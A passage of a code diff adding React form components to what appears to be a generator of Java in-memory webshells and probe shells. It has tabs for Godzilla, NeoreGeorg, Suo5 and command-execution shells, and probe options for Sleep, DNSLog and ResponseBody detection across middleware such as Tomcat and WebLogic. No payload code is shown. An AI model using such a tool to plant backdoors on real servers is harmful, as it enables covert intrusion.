+                </FormFieldLabel>
+                <Input
+                  id="shellClassName"
+                  {...field}
+                  placeholder={t("common:placeholders.input")}
+                />
+              </FormFieldItem>
+            )}
+          />
+        )}
+        {!useRandomClassName && (
+          <FormField
+            control={form.control}
+            name="injectorClassName"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel htmlFor="injectClassName">
+                  {t("mainConfig.injectorClassName")} {t("common:optional")}
+                </FormFieldLabel>
+                <Input
+                  id="injectClassName"
+                  {...field}
+                  placeholder={t("common:placeholders.input")}
+                />
+              </FormFieldItem>
+            )}
+          />
+        )}
+      </FormProvider>
+    </Fragment>
+  );
+}

web/app/components/memshell/tabs/command-tab.tsx

@@ -0,0 +1,139 @@
+import { useQuery } from "@tanstack/react-query";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { TabsContent } from "@/components/ui/tabs";
+import { env } from "@/config";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function CommandTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  const { data } = useQuery<{
+    encryptors: Array<string>;
+    implementationClasses: Array<string>;
+  }>({
+    queryKey: ["commandConfigs"],
+    queryFn: async () => {
+      const response = await fetch(`${env.API_URL}/api/config/command/configs`);
+      return await response.json();
+    },
+  });
+
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Command">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="commandParamName"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>
+                    {t("common:paramName")} {t("common:optional")}
+                  </FormFieldLabel>
+                  <FormControl>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormControl>
+                </FormFieldItem>
+              )}
+            />
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="encryptor"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:encryptor")}</FormFieldLabel>
+                    <Select
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      defaultValue="RAW"
+                    >
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue
+                            placeholder={t("common:placeholders.select")}
+                          />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {data?.encryptors?.map((v) => (
+                          <SelectItem key={v} value={v}>
+                            {v}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="implementationClass"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:implementationClass")}
+                    </FormFieldLabel>
+                    <Select
+                      onValueChange={field.onChange}
+                      value={field.value}
+                      defaultValue="RuntimeExec"
+                    >
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue
+                            placeholder={t("common:placeholders.select")}
+                          />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {data?.implementationClasses?.map((v) => (
+                          <SelectItem key={v} value={v}>
+                            {v}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/custom-tab.tsx

@@ -0,0 +1,163 @@
+import { useEffect, useRef, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { toast } from "sonner";
+import { Card, CardContent } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { Label } from "@/components/ui/label";
+import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
+import { TabsContent } from "@/components/ui/tabs";
+import { Textarea } from "@/components/ui/textarea";
+import { env } from "@/config.ts";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export default function CustomTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const [isFile, setIsFile] = useState(false);
+  const { t } = useTranslation(["memshell", "common"]);
+  const shellClassBase64 = form.watch("shellClassBase64");
+  const lastParsedBase64Ref = useRef<string | undefined>(undefined);
+  const classNameEndpoint = `${env.API_URL}/api/className`;
+
+  useEffect(() => {
+    if (!shellClassBase64) {
+      lastParsedBase64Ref.current = undefined as string | undefined;
+      return;
+    }
+
+    if (shellClassBase64 === lastParsedBase64Ref.current) {
+      return;
+    }
+
+    const controller = new AbortController();
+    const timer = setTimeout(() => {
+      const parseClassName = async () => {
+        try {
+          const response = await fetch(classNameEndpoint, {
+            method: "POST",
+            headers: {
+              "Content-Type": "text/plain",
+            },
+            body: shellClassBase64,
+            signal: controller.signal,
+          });
+
+          if (!response.ok) {
+            throw new Error(response.statusText);
+          }
+
+          const className = await response.text();
+
+          if (!className) {
+            throw new Error("EMPTY_CLASS_NAME");
+          }
+
+          lastParsedBase64Ref.current = shellClassBase64;
+          form.setValue("shellClassName", className, {
+            shouldDirty: true,
+          });
+        } catch (error) {
+          if ((error as Error)?.name === "AbortError") {
+            return;
+          }
+
+          toast.error(t("memshell:tips.classNameParseFailed"));
+        }
+      };
+
+      void parseClassName();
+    }, 400);
+
+    return () => {
+      clearTimeout(timer);
+      controller.abort();
+    };
+  }, [classNameEndpoint, form, shellClassBase64, t]);
+
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Custom">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <FormField
+              control={form.control}
+              name="shellClassBase64"
+              render={({ field }) => (
+                <FormFieldItem>
+                  <FormFieldLabel>{t("shellClass")}</FormFieldLabel>
+                  <RadioGroup
+                    value={isFile ? "file" : "base64"}
+                    onValueChange={(value) => {
+                      field.onChange("");
+                      setIsFile(value === "file");
+                    }}
+                    className="flex items-center space-x-2"
+                  >
+                    <div className="flex items-center space-x-2">
+                      <RadioGroupItem value="base64" id="optionOne" />
+                      <Label htmlFor="optionOne">Base64</Label>
+                    </div>
+                    <div className="flex items-center space-x-2">
+                      <RadioGroupItem value="file" id="optionTwo" />
+                      <Label htmlFor="optionTwo">File</Label>
+                    </div>
+                  </RadioGroup>
+                  <FormControl className="mt-2">
+                    {isFile ? (
+                      <Input
+                        onChange={(e) => {
+                          const file = e.target.files?.[0];
+                          if (file) {
+                            const reader = new FileReader();
+                            reader.onload = (event) => {
+                              const base64String =
+                                (event.target?.result as string)?.split(
+                                  ",",
+                                )[1] || "";
+                              field.onChange(base64String);
+                            };
+                            reader.readAsDataURL(file);
+                          }
+                        }}
+                        accept=".class"
+                        placeholder={t("common:placeholders.input")}
+                        type="file"
+                      />
+                    ) : (
+                      <Textarea
+                        {...field}
+                        placeholder={t("common:placeholders.input")}
+                        className="h-24"
+                      />
+                    )}
+                  </FormControl>
+                  <FormMessage />
+                </FormFieldItem>
+              )}
+            />
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/godzilla-tab.tsx

@@ -0,0 +1,96 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function GodzillaTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Godzilla">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="godzillaPass"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("shellToolConfig.godzilla.pass")}{" "}
+                      {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="godzillaKey"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("shellToolConfig.godzilla.key")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/neoreg-tab.tsx

@@ -0,0 +1,65 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function NeoRegTabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="NeoreGeorg">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/shelltype-field.tsx

@@ -0,0 +1,65 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+} from "@/components/ui/form";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+export function ShellTypeFormField({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <FormField
+        control={form.control}
+        name="shellType"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("mainConfig.shellMountType")}</FormFieldLabel>
+            <Select
+              onValueChange={(e) => {
+                form.resetField("urlPattern");
+                field.onChange(e);
+              }}
+              value={field.value}
+            >
+              <FormControl>
+                <SelectTrigger>
+                  <SelectValue placeholder={t("common:placeholders.select")} />
+                </SelectTrigger>
+              </FormControl>
+              <SelectContent key={shellTypes?.join(",")}>
+                {shellTypes?.length ? (
+                  shellTypes.map((v) => (
+                    <SelectItem key={v} value={v}>
+                      {v}
+                    </SelectItem>
+                  ))
+                ) : (
+                  <SelectItem value=" ">
+                    {t("tips.shellToolNotSelected")}
+                  </SelectItem>
+                )}
+              </SelectContent>
+            </Select>
+          </FormFieldItem>
+        )}
+      />
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/suo5-tab.tsx

@@ -0,0 +1,65 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent } from "@/components/ui/card";
+import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { TabsContent } from "@/components/ui/tabs";
+import type { MemShellFormSchema } from "@/types/schema";
+import { OptionalClassFormField } from "./classname-field";
+import { ShellTypeFormField } from "./shelltype-field";
+import { UrlPatternFormField } from "./urlpattern-field";
+
+export function Suo5TabContent({
+  form,
+  shellTypes,
+}: Readonly<{
+  form: UseFormReturn<MemShellFormSchema>;
+  shellTypes: Array<string>;
+}>) {
+  const { t } = useTranslation(["memshell", "common"]);
+  return (
+    <FormProvider {...form}>
+      <TabsContent value="Suo5">
+        <Card>
+          <CardContent className="space-y-2 mt-4">
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <ShellTypeFormField form={form} shellTypes={shellTypes} />
+              <UrlPatternFormField form={form} />
+            </div>
+            <div className="grid grid-cols-1 md:grid-cols-2 gap-2">
+              <FormField
+                control={form.control}
+                name="headerName"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+              <FormField
+                control={form.control}
+                name="headerValue"
+                render={({ field }) => (
+                  <FormFieldItem>
+                    <FormFieldLabel>
+                      {t("common:headerValue")} {t("common:optional")}
+                    </FormFieldLabel>
+                    <Input
+                      {...field}
+                      placeholder={t("common:placeholders.input")}
+                    />
+                  </FormFieldItem>
+                )}
+              />
+            </div>
+            <OptionalClassFormField form={form} />
+          </CardContent>
+        </Card>
+      </TabsContent>
+    </FormProvider>
+  );
+}

web/app/components/memshell/tabs/urlpattern-field.tsx

@@ -0,0 +1,35 @@
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import {
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { shouldHidden } from "@/lib/utils";
+import type { MemShellFormSchema } from "@/types/schema.ts";
+
+export function UrlPatternFormField({
+  form,
+}: Readonly<{ form: UseFormReturn<MemShellFormSchema> }>) {
+  const { t } = useTranslation("common");
+  const shellType = form.watch("shellType");
+  return (
+    <FormProvider {...form}>
+      <FormField
+        control={form.control}
+        name="urlPattern"
+        render={({ field }) => (
+          <FormFieldItem
+            className={shouldHidden(shellType) ? "hidden" : "grid"}
+          >
+            <FormFieldLabel>{t("urlPattern")}</FormFieldLabel>
+            <Input {...field} placeholder={t("placeholders.input")} />
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    </FormProvider>
+  );
+}

web/app/components/probeshell/basic-info.tsx

@@ -0,0 +1,34 @@
+import { FileTextIcon } from "lucide-react";
+import { useTranslation } from "react-i18next";
+import { CopyableField } from "@/components/copyable-field";
+import { FeedbackAlert } from "@/components/memshell/results/feedback-alert";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import type { ProbeShellResult } from "@/types/probeshell";
+
+export function BasicInfo({
+  generateResult,
+}: Readonly<{ generateResult?: ProbeShellResult }>) {
+  const { t } = useTranslation();
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle className="flex items-center justify-between">
+          <div className="text-md flex items-center gap-2">
+            <FileTextIcon className="h-5" />
+            <span>{t("common:basicInfo")}</span>
+          </div>
+          <FeedbackAlert />
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <div className="grid grid-cols-1 gap-2">
+          <CopyableField
+            label={t("probeshell:shellClassName")}
+            value={generateResult?.shellClassName}
+            text={`${generateResult?.shellClassName} (${generateResult?.shellSize} bytes)`}
+          />
+        </div>
+      </CardContent>
+    </Card>
+  );
+}

web/app/components/probeshell/main-config-card.tsx

@@ -0,0 +1,418 @@
+import { ServerIcon } from "lucide-react";
+import { useCallback, useEffect, useMemo } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormFieldItem,
+  FormFieldLabel,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from "@/components/ui/form";
+import { Input } from "@/components/ui/input";
+import { Label } from "@/components/ui/label";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { Switch } from "@/components/ui/switch";
+import type { ServerConfig } from "@/types/memshell";
+import type { ProbeShellFormSchema } from "@/types/schema";
+import { Separator } from "../ui/separator";
+
+const PROBE_OPTIONS = [
+  { value: "Server" as const, label: "server" },
+  { value: "JDK" as const, label: "jdk" },
+  { value: "Command" as const, label: "command" },
+  { value: "Bytecode" as const, label: "bytecode" },
+  { value: "ScriptEngine" as const, label: "script" },
+] as const;
+
+const MIDDLEWARE_OPTIONS = [
+  { value: "Tomcat", label: "Tomcat" },
+  { value: "Jetty", label: "Jetty" },
+  { value: "Undertow", label: "Undertow" },
+  { value: "Resin", label: "Resin" },
+  { value: "JBoss", label: "JBoss" },
+  { value: "GlassFish", label: "GlassFish" },
+  { value: "BES", label: "BES" },
+  { value: "TongWeb", label: "TongWeb" },
+  { value: "InforSuite", label: "InforSuite" },
+  { value: "Apusic", label: "Apusic" },
+  { value: "SpringWebFlux", label: "SpringWebFlux" },
+  { value: "WebLogic", label: "WebLogic" },
+  { value: "WebSphere", label: "WebSphere" },
+] as const;
+
+const PROBE_METHOD_OPTIONS = [
+  { value: "Sleep", label: "Sleep" },
+  { value: "DNSLog", label: "DNSLog" },
+  { value: "ResponseBody", label: "ResponseBody" },
+] as const;
+
+const DEFAULT_FORM_VALUES = {
+  reqParamName: "payload",
+  sleepServer: "Tomcat",
+  seconds: 5,
+} as const;
+
+interface MainConfigCardProps {
+  readonly form: UseFormReturn<ProbeShellFormSchema>;
+  readonly servers?: ServerConfig;
+}
+
+export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
+  const { t } = useTranslation(["common", "probeshell"]);
+  const watchedProbeMethod = form.watch("probeMethod");
+  const watchedProbeContent = form.watch("probeContent");
+
+  const filteredOptions = useMemo(() => {
+    const filterMap = {
+      ResponseBody: ["Command", "Bytecode", "ScriptEngine"],
+      DNSLog: ["JDK", "Server"],
+      Sleep: ["Server"],
+    } as const;
+
+    const allowedValues =
+      filterMap[watchedProbeMethod as keyof typeof filterMap];
+
+    if (!allowedValues) return PROBE_OPTIONS;
+
+    return PROBE_OPTIONS.filter((opt) =>
+      allowedValues.includes(opt.value as never),
+    );
+  }, [watchedProbeMethod]);
+
+  const resetFormValues = useCallback(() => {
+    if (filteredOptions.length === 0) return;
+
+    const currentValues = form.getValues();
+    form.reset({
+      ...currentValues,
+      probeMethod: watchedProbeMethod,
+      probeContent: filteredOptions[0].value,
+      ...DEFAULT_FORM_VALUES,
+    });
+  }, [form, watchedProbeMethod, filteredOptions]);
+
+  useEffect(() => {
+    resetFormValues();
+  }, [resetFormValues]);
+
+  const ContentOptionsSelect = useMemo(
+    () => (
+      <FormField
+        control={form.control}
+        name="probeContent"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("probeshell:probeContent")}</FormFieldLabel>
+            <Select onValueChange={field.onChange} value={field.value || ""}>
+              <FormControl>
+                <SelectTrigger>
+                  <SelectValue placeholder={t("common:placeholders.select")} />
+                </SelectTrigger>
+              </FormControl>
+              <SelectContent>
+                {filteredOptions.map((opt) => (
+                  <SelectItem key={opt.value} value={opt.value}>
+                    {t(`probeshell:probeContent.${opt.label}`)}
+                  </SelectItem>
+                ))}
+              </SelectContent>
+            </Select>
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    ),
+    [form.control, filteredOptions, t],
+  );
+
+  const RequestParamField = useMemo(
+    () => (
+      <div className="space-y-2 pt-4 border-t mt-4">
+        <FormField
+          control={form.control}
+          name="reqParamName"
+          render={({ field }) => (
+            <FormFieldItem>
+              <FormFieldLabel>{t("common:paramName")}</FormFieldLabel>
+              <FormControl>
+                <Input placeholder={t("placeholders.input")} {...field} />
+              </FormControl>
+              <FormMessage />
+            </FormFieldItem>
+          )}
+        />
+      </div>
+    ),
+    [form.control, t],
+  );
+
+  const SleepFields = useMemo(
+    () => (
+      <div className="space-y-2 pt-4 border-t mt-4">
+        <FormField
+          control={form.control}
+          name="sleepServer"
+          render={({ field }) => (
+            <FormFieldItem>
+              <FormFieldLabel>{t("probeshell:sleepServer")}</FormFieldLabel>
+              <Select onValueChange={field.onChange} value={field.value || ""}>
+                <FormControl>
+                  <SelectTrigger>
+                    <SelectValue placeholder={t("placeholders.select")} />
+                  </SelectTrigger>
+                </FormControl>
+                <SelectContent>
+                  {MIDDLEWARE_OPTIONS.map(({ value, label }) => (
+                    <SelectItem key={value} value={value}>
+                      {label}
+                    </SelectItem>
+                  ))}
+                </SelectContent>
+              </Select>
+              <FormMessage />
+            </FormFieldItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="seconds"
+          render={({ field }) => (
+            <FormFieldItem>
+              <FormFieldLabel>{t("probeshell:sleepSeconds")}</FormFieldLabel>
+              <FormControl>
+                <Input
+                  type="number"
+                  placeholder={t("placeholders.input")}
+                  {...field}
+                  onChange={(event) => field.onChange(+event.target.value)}
+                />
+              </FormControl>
+              <FormMessage />
+            </FormFieldItem>
+          )}
+        />
+      </div>
+    ),
+    [form.control, t],
+  );
+
+  const renderDynamicFields = useCallback(() => {
+    const isBodyMethod = watchedProbeMethod === "ResponseBody";
+    const needParam =
+      watchedProbeContent === "Command" ||
+      watchedProbeContent === "Bytecode" ||
+      watchedProbeContent === "ScriptEngine";
+    const isSleepMethod = watchedProbeMethod === "Sleep";
+    const isServerContent = watchedProbeContent === "Server";
+
+    if (isBodyMethod && needParam) {
+      return RequestParamField;
+    }
+
+    if (isSleepMethod && isServerContent) {
+      return SleepFields;
+    }
+
+    return null;
+  }, [watchedProbeMethod, watchedProbeContent, RequestParamField, SleepFields]);
+
+  const DNSLogSection = useMemo(
+    () => (
+      <FormField
+        control={form.control}
+        name="host"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("probeshell:dnslog.host")}</FormFieldLabel>
+            <FormControl>
+              <Input placeholder={t("placeholders.input")} {...field} />
+            </FormControl>
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    ),
+    [form.control, t],
+  );
+
+  const MiddlewareSelect = useMemo(
+    () => (
+      <FormField
+        control={form.control}
+        name="server"
+        render={({ field }) => (
+          <FormFieldItem>
+            <FormFieldLabel>{t("server")}</FormFieldLabel>
+            <Select onValueChange={field.onChange} defaultValue={field.value}>
+              <FormControl>
+                <SelectTrigger>
+                  <SelectValue placeholder={t("placeholders.select")} />
+                </SelectTrigger>
+              </FormControl>
+              <SelectContent>
+                {Object.keys(servers ?? {})
+                  .filter((s) => s !== "SpringWebFlux" && s !== "XXLJOB")
+                  .map((server: string) => (
+                    <SelectItem key={server} value={server}>
+                      {server}
+                    </SelectItem>
+                  ))}
+              </SelectContent>
+            </Select>
+            <FormMessage />
+          </FormFieldItem>
+        )}
+      />
+    ),
+    [form.control, servers, t],
+  );
+
+  const SwitchGroup = useMemo(
+    () => (
+      <div className="flex gap-4 mt-4 flex-col sm:flex-row">
+        <FormField
+          control={form.control}
+          name="debug"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="debug"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <FormLabel htmlFor="debug">{t("debug")}</FormLabel>
+            </FormItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="byPassJavaModule"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="bypass"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <Label htmlFor="bypass">{t("byPassJavaModule")}</Label>
+            </FormItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="shrink"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="shrink"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <Label htmlFor="shrink">{t("shrink")}</Label>
+            </FormItem>
+          )}
+        />
+        <FormField
+          control={form.control}
+          name="staticInitialize"
+          render={({ field }) => (
+            <FormItem className="flex items-center space-x-2 space-y-0">
+              <FormControl>
+                <Switch
+                  id="staticInitialize"
+                  checked={field.value}
+                  onCheckedChange={field.onChange}
+                />
+              </FormControl>
+              <Label htmlFor="staticInitialize">
+                {t("common:staticInitialize")}
+              </Label>
+            </FormItem>
+          )}
+        />
+      </div>
+    ),
+    [form.control, t],
+  );
+
+  return (
+    <FormProvider {...form}>
+      <Card>
+        <CardHeader className="pb-1">
+          <CardTitle className="text-md flex items-center gap-2">
+            <ServerIcon className="h-5 w-5" />
+            <span>{t("mainConfig.title")}</span>
+          </CardTitle>
+        </CardHeader>
+        <CardContent className="space-y-2">
+          <FormField
+            control={form.control}
+            name="probeMethod"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel>{t("probeshell:probeMethod")}</FormFieldLabel>
+                <Select
+                  onValueChange={field.onChange}
+                  defaultValue={field.value}
+                >
+                  <FormControl>
+                    <SelectTrigger>
+                      <SelectValue />
+                    </SelectTrigger>
+                  </FormControl>
+                  <SelectContent>
+                    {PROBE_METHOD_OPTIONS.map(({ value, label }) => (
+                      <SelectItem key={value} value={value}>
+                        {label}
+                      </SelectItem>
+                    ))}
+                  </SelectContent>
+                </Select>
+                <FormMessage />
+              </FormFieldItem>
+            )}
+          />
+
+          {watchedProbeMethod === "ResponseBody" && MiddlewareSelect}
+          {watchedProbeMethod === "DNSLog" && DNSLogSection}
+          {watchedProbeMethod && ContentOptionsSelect}
+          {SwitchGroup}
+          {renderDynamicFields()}
+          <Separator />
+          <FormField
+            control={form.control}
+            name="shellClassName"
+            render={({ field }) => (
+              <FormFieldItem>
+                <FormFieldLabel htmlFor="shellClassName">
+                  {t("probeshell:shellClassName")} {t("optional")}
+                </FormFieldLabel>
+                <Input
+                  id="shellClassName"
+                  {...field}
+                  placeholder={t("placeholders.input")}
+                />
+              </FormFieldItem>
+            )}
+          />
+        </CardContent>
+      </Card>
+    </FormProvider>
+  );
+}

web/app/components/probeshell/package-config-card.tsx

@@ -0,0 +1,106 @@
+import { PackageIcon } from "lucide-react";
+import { useEffect, useState } from "react";
+import { FormProvider, type UseFormReturn } from "react-hook-form";
+import { useTranslation } from "react-i18next";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import {
+  FormControl,
+  FormField,
+  FormItem,
+  FormLabel,
+} from "@/components/ui/form";
+import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
+import type { PackerConfig } from "@/types/memshell";
+import type { ProbeShellFormSchema } from "@/types/schema";
+
+type Option = {
+  name: string;
+  value: string;
+};
+
+export default function PackageConfigCard({
+  packerConfig,
+  form,
+}: Readonly<{
